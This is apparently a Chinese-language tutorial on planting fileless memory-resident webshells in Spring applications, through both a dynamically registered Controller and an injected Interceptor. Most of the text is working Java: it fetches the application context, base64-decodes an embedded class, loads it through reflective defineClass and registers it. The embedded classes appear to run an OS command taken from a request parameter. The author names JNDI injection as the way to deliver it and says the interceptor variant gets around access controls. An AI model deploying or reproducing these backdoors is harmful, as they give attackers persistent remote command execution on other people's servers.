spring的内存马针对Controller和Inerceptor进行讲解,其中原理依旧是动态注册,先创建一个spring项目,废话不多说开始。
对于Controller代码审计来说再熟悉不过了,无论是php java还是.net都是存在Controller的只不过对于java
来说是动态语言对于php来说是脚本语言所以出现了内存马的说法,那我们就一步一步看看需要修改什么,创建一个Controller文件下一个断点,
(图一)接着我们去看看spring在哪里获取到的DispatcherServlet#doDispatch里面图二,其中我们进去看看getHandler方法做了什么,
processedRequest里面封装了request,进入到图三中,接着跟。
进入之后再进入到getHandlerInternal方法,可以看到获取了我们的请求,拿到了request进入lookupHandlerMethod方法图一,
之后进入之后找到了我们需要修改的属性this.mappingRegistry,那么如何获取他,在之前的时候this.handlerMappings属性
是org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping类的时候进入
了getHandler方法那么现在的问题是如何拿到RequestMappingHandlerMapping,发现找到可以使用getBean来获取图三,
那么就要获取ApplicationContext,根据网上的文章是有四种方式的我就讲一种,就是在最初的截图里面方法的上一层doService的request
其中setAttribute设置了,那么这个获取就拿到了,ok写代码。
代码也非常简单你要理解就理解不理解知道怎么写就行代码一,虽说访问admin会创建内存马,但是你如何让他在对方服务器运行呢?
文件上传不现实,因为你要让他解析就得重启,下面代码也只是实验代码,真实的可以看代码二也就是第一步创建恶意类,
代码三把类进行base64编码,代码四把类base64解码再通过ClassLoader#defineClass转换成可执行类,在注册就ok了,
那就有师傅问了实战怎么用如jndi注入呗。
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Method;
import java.util.Base64;
public class Jndi {
public Jndi() throws Exception {
System.out.println("aaaaaaaaaaa");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping bean = context.getBean(RequestMappingHandlerMapping.class);
Object shell = shell();
RequestMappingInfo mapping = RequestMappingInfo.paths("/Exec112233").build();
bean.registerMapping(mapping,shell,shell.getClass().getMethod("eval"));
}
public Object shell() throws Exception {
String Code="yv66vgAAADQAfAoAHABACgBBAEIHAEMKAAMARAgAMAsARQBGBwBHCgAHAEAKAEgASQoASABKCABLCgBMAE0KAE4ATwgAUAoATgBRCABSCABTBwBUBwBVCgBWAFcKABMAWAoAEgBZCgASAFoKAAcAWwgAXAoABwBdBwBeBwBfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMUmNlOwEABGV2YWwBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2NoYXJzZXQBABJMamF2YS9sYW5nL1N0cmluZzsBAARleGVjAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAm9zAQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAFvAQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEAA2NtZAEADHN0cmluZ0J1ZmZlcgEAGExqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEADVN0YWNrTWFwVGFibGUHAF4HAGAHAGEHAEcHAGIHAFQBAApFeGNlcHRpb25zBwBjAQAKU291cmNlRmlsZQEACFJjZS5qYXZhAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEAOExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVzdENvbnRyb2xsZXI7DAAdAB4HAGQMAGUAZgEAQG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMMAGcAaAcAYAwAaQBqAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgcAawwAbABtDAAoAG4BAAdvcy5uYW1lBwBvDABwAGoHAGEMAHEAJQEAB3dpbmRvd3MMAHIAcwEAA0dCSwEABVVURi04AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGIMAHQAdQwAHQB2DAAdAHcMAHgAJQwAeQB6AQABCgwAewAlAQADUmNlAQAQamF2YS9sYW5nL09iamVjdAEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAUZ2V0UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQAKZ2V0UmVxdWVzdAEAKSgpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAIdG9TdHJpbmcAIQAbABwAAAAAAAIAAQAdAB4AAQAfAAAALwABAAEAAAAFKrcAAbEAAAACACAAAAAGAAEAAAAPACEAAAAMAAEAAAAFACIAIwAAAAEAJAAlAAIAHwAAAXEABgAJAAAAfbgAAsAAA7YABEwrEgW5AAYCAE27AAdZtwAITizGAFy4AAkstgAKOgQSC7gADLYADToFGQUSDrYAD5kAChIQOganAAcSEToGuwASWbsAE1kZBLYAFBkGtwAVtwAWOgcZB7YAF1k6CMYAEi0ZCLYAGBIZtgAYV6f/6S22ABqwAAAAAwAgAAAANgANAAAAEQAKABIAEwATABsAFAAfABUAKAAWADIAGAA8ABkAQwAbAEcAHQBeAB8AaQAgAHgAIwAhAAAAZgAKAEAAAwAmACcABgAoAFAAKAApAAQAMgBGACoAJwAFAEcAMQAmACcABgBeABoAKwAsAAcAZgASAC0AJwAIAAAAfQAiACMAAAAKAHMALgAvAAEAEwBqADAAJwACABsAYgAxADIAAwAzAAAAOgAE/wBDAAYHADQHADUHADYHADcHADgHADYAAPwAAwcANvwAFgcAOf8AGQAEBwA0BwA1BwA2BwA3AAAAOgAAAAQAAQA7AAIAPAAAAAIAPQA+AAAABgABAD8AAA==";
byte[] decode = Base64.getDecoder().decode(Code);
Method declaredMethod1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
declaredMethod1.setAccessible(true);
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
Class invoke = (Class)declaredMethod1.invoke(contextClassLoader, decode, 0, decode.length);
Object o = invoke.newInstance();
return o;
}
}
在代码审计的时候我们都知道虽然你能创建一个Controller内存马,依旧存在缺陷那就是实战的时候还要找哪里是未授权访问的路径下面才可以访问内存马,
一般权限控制都会在拦截器Inerceptor中,那么我们利用拦截器创建一个拦截器的内存马就不需要在找哪里是未授权的问题了,
ok我们先创建一个拦截器代码一,执行之后会先进入拦截器后进入Controller再进入销毁方法,老规矩我们要知道修改哪里,下断点。
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@Configuration
public class Admin extends InterceptorRegistry implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("拦截器方法");
return HandlerInterceptor.super.preHandle(request, response, handler);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("销毁方法");
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class Admins implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new Admin()).addPathPatterns("/admin/*");
}
}
给了断点之后直接看到了我们的老输入doDispatch方法图一,依旧是从getHandler方法获取的循环到
org.springframework.web.servlet.handler.SimpleUrlHandlerMapping的时候进入会进入到
getHandlerExecutionChain其中参数包含了我们的拦截器信息和reques图二t,找到了要修改的属性
this.adaptedInterceptors图三,虽然当前类是AbstractHandlerMapping但是我们可以拿到他的子类。
ok到这就开始写代码了,代码一,还是那句话没办法在服务器上面运行,那就老办法不解释了,代码二到代码四
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.List;
public class Inerceptors {
public Inerceptors() throws Exception {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping bean = context.getBean(RequestMappingHandlerMapping.class);
Field adaptedInterceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptors.setAccessible(true);
List<HandlerInterceptor> handlerInterceptors = (List<HandlerInterceptor>) adaptedInterceptors.get(bean);
HandlerInterceptor shell = (HandlerInterceptor)shell();
handlerInterceptors.add(shell);
}
public Object shell() throws Exception {
String Code="yv66vgAAADQAhQoAGwBGCAA0CwBHAEgHAEkKAAQARggASgsASwBMCABNCwBLAE4KAE8AUAoATwBRCABSCgBTAFQKAFUAVggAVwoAVQBYCABZBwBaBwBbCgBcAF0KABMAXgoAEgBfCgASAGALAEsAYQoAYgBjBwBkBwBlBwBmAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAdMU2hlbGw7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAB2NoYXJzZXQBABJMamF2YS9sYW5nL1N0cmluZzsBAARleGVjAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAm9zAQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAFvAQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAANjbWQBAAxzdHJpbmdCdWZmZXIBABhMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAA1TdGFja01hcFRhYmxlBwBkBwBnBwBoBwBpBwBqBwBJBwBrBwBaAQAKRXhjZXB0aW9ucwcAbAEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEANkxvcmcvc3ByaW5nZnJhbWV3b3JrL2NvbnRleHQvYW5ub3RhdGlvbi9Db25maWd1cmF0aW9uOwwAHQAeBwBnDABtAG4BABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyAQAPVGV4dC9IVE1MO1VURi04BwBoDABvAHABAAVVVEYtOAwAcQBwBwByDABzAHQMACgAdQEAB29zLm5hbWUHAHYMAHcAbgcAagwAeAB5AQAHd2luZG93cwwAegB7AQADR0JLAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGsMAHwAfQwAHQB+DAAdAH8MAIAAeQwAgQCCBwCDDACEAHABAAVTaGVsbAEARW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvY29uZmlnL2Fubm90YXRpb24vSW50ZXJjZXB0b3JSZWdpc3RyeQEAMm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADnNldENvbnRlbnRUeXBlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbgAhABoAGwABABwAAAACAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAADAAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAGnAAYACwAAAIUrEgK5AAMCADoEuwAEWbcABToFGQTGAG4sEga5AAcCACwSCLkACQIAuAAKGQS2AAs6BhIMuAANtgAOOgcZBxIPtgAQmQAKEhE6CKcABxIIOgi7ABJZuwATWRkGtgAUGQi3ABW3ABY6CRkJtgAXWToKxgARLLkAGAEAGQq2ABmn/+oErASsAAAAAwAgAAAAPgAPAAAAEQAKABIAEwATABgAFAAgABUAKAAWADIAFwA8ABkARgAaAE0AHABRAB4AaAAgAHMAIQCBACMAgwAlACEAAAB6AAwASgADACYAJwAIADIAUQAoACkABgA8AEcAKgAnAAcAUQAyACYAJwAIAGgAGwArACwACQBwABMALQAnAAoAAACFACIAIwAAAAAAhQAuAC8AAQAAAIUAMAAxAAIAAACFADIAMwADAAoAewA0ACcABAATAHIANQA2AAUANwAAAEwABf8ATQAIBwA4BwA5BwA6BwA7BwA8BwA9BwA+BwA8AAD8AAMHADz8ABYHAD/8ABgHADz/AAEABgcAOAcAOQcAOgcAOwcAPAcAPQAAAEAAAAAEAAEAQQACAEIAAAACAEMARAAAAAYAAQBFAAA=";
byte[] decode = Base64.getDecoder().decode(Code);
Method declaredMethod1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
declaredMethod1.setAccessible(true);
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
Class invoke = (Class)declaredMethod1.invoke(contextClassLoader, decode, 0, decode.length);
HandlerInterceptor o = (HandlerInterceptor)invoke.newInstance();
return o;
}
}